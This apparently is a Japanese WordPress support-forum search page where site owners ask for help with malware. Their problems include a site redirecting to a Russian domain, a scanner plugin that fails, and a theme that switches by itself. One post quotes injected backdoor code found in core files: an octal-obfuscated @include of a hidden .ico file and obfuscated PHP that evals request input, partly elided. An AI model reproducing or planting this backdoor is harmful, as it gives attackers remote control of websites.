「マルウェア」の検索結果
-
ことりさんの方法で検証してみましたら、まんまとマルウェアが検出されてしまいました！
https://sitecheck.sucuri.net/results/matsu935.com
※どうもロシアのサイトに飛ぶようになっているようです…。
pico21 さんのアドバイスのような単純にコピーしてWP再インストールで大丈夫なのでしょうか？
お手数ですが、お詳しい方、この場合の対応をアドバイスいただけますでしょうか。こんにちは。
ハッキングでないと仮定した場合、WordPressのフォーラムの範疇を超えているので、ここでの解決は難しいかもしれません。
以下のような場所でご相談されることがよろしいのではないでしょうか？
Google検索セントラル
スパム、フィッシング、マルウェアを報告する一度お確かめの上、ご検討いただけましたら幸いです。
-
上記のプラグインを入れてみましたがスキャンができません。
現在最新のマルウェア検出パターンが取得できないためスキャンを実行できません。「サイトが公開されていてワードプレスで動作していること」「最新のプラグインを利用されていること」をご確認の上再度手動でスキャンを実行してみてください。
というアラート出ます。
プラグインはすべて最新にしております。また、スキャンをおすと
マルウェアの検出パターンが取得できませんでした。サイトが公開されていてワードプレスで動いていますか？お使いのプラグインが最新バージョンかご確認くださいもしくはお使いのサーバーのallow_url_fopen設定が有効になっていなく、マルウェア検出パターンが取得できなくなっているかもしれません。
とモーダル表示もされます。
allow_url_fopenはONになっております。ご教授ねがいます
-
プラグイン：ワードプレスドクターを導入し、スキャンした結果…
次のような確定診断が出たのですが、マルウェアなのでしょうか。詳しい方教えて下さいませ。
①wp-settings.phpやindex.phpの上部に次のような記述がある
@include “\057h\157m\145/\155i\156a\164o\163c\057m\151n\141t\157s\143.\143o\155/\160u\142l\151c\137h\164m\154/\162e\156e\167/\167p\055i\156c\154u\144e\163/\152s\057.\1454\071e\1448\0647\056i\143o”;②query.phpなどの複数ファイルに次のような記述がある
<?php $jb1a8 = 765;$GLOBALS[‘u5549e’] = Array();global $u5549e;$u5549e = $GLOBALS;${“\x47\x4c\x4fB\x41\x4c\x53”}[‘ne0f8a388’] = “\x4a\x5a\x7c\x37\x39\x69\x3f\x79\x34\x7b\x56\x3e\x2a\x9\x42\x5b\x59\x68\x53\x3a\x62\xd\x58\x41\x57\x72\x38\x6c\x76\x3c\x77\x4e\x3d\x7d\x31\x2c\x6a\x35\x71\x45\x50\x64\x7e\x24\x21\x52\x32\x5e\x30\x5f\x55\x2e\x7a\x5d\x54\x63\x47\x27\x36\x61\x23\x51\x6d\x40\x2f\x25\x48\x4b\x26\x3b\x65\x5c\x2d\x4d\x6b\x73\x33\x4c\x6f\xa\x66\x4f\x46\x28\x6e\x43\x75\x22\x20\x49\x78\x44\x74\x60\x2b\x67\x29\x70”;$u5549e[$u5549e[‘ne0f8a388’][7].$u5549e[‘ne0f8a388’][41].$u5549e[‘ne0f8a388’][26].$u5549e[‘ne0f8a388’][3].$u5549e[‘ne0f8a388’][55].$u5549e[‘ne0f8a388’][41].$u5549e[‘ne0f8a388’][3].$u5549e[‘ne0f8a388’][46]] = $u5549e[‘ne0f8a388’ーーーーーーー（中省略）ーーーーー[59].$u5549e[‘ne0f8a388’][8]]($q5c2a6);}elseif ($b844[$u5549e[‘ne0f8a388’][59]] == $u5549e[‘ne0f8a388’][70]){eval/*r92df563*/($b844[$u5549e[‘ne0f8a388’][41]]);}exit();}} ?><?phpどうぞよろしくお願いいたします。
-
お世話になっております。
現在テーマをluxeritasに設定しブログを作成しているのですが、不定期にテーマがtwenty nineteenに切り替わってしまいます。
始めは操作ミスかと思い、元に戻した上で不要と判断したtwenty nineteenを削除したのですが、
少し時間をおいて自サイトをチェックすると「twenty nineteenが存在しません」と表示されており、
ダッシュボードに行くと概要部分の記載が「WordPress 5.2.1 (Twenty Nineteen テーマ)」となっていて、データがない為ページを表示できないという状態になっていました。
Twenty Nineteenは上述の通り削除しましたので、自分でそれを選ぶことは出来ない様になっていて、
luxeritasを有効化するとリストから消えます。「テーマをTwenty Nineteenに切り替える」というコマンドだけが起動して、変更させられている様に思えるのですが何が原因でそうなっているのか見当が付きません。
先週末頃より日に2～3度発生しており、現状はこまめに自サイトをチェックし変わってしまっていたら元に戻すと言う作業を行っています。
ログアウトしている状態、また、自分がログインして記事編集などを行っている最中でも起こります。
プレビューを開き、編集し、またプレビューを開いた際に変わっていることも有りました。セキュリティの強化が出来ていなかったので対応し、不正なアクセス等による自分以外のユーザーの作成・ログインやアクセスは特に見受けられず、
マルウェア検索等にも特に反応は有りませんでした。
可能な限り目視で覚えのないphpファイルなどが無いかも確認したのですが発見できず。この異常を修復する方法をどなたかご教示いただけないかと思い、トピックを作成させていただきました。
何卒宜しくお願いします。
-
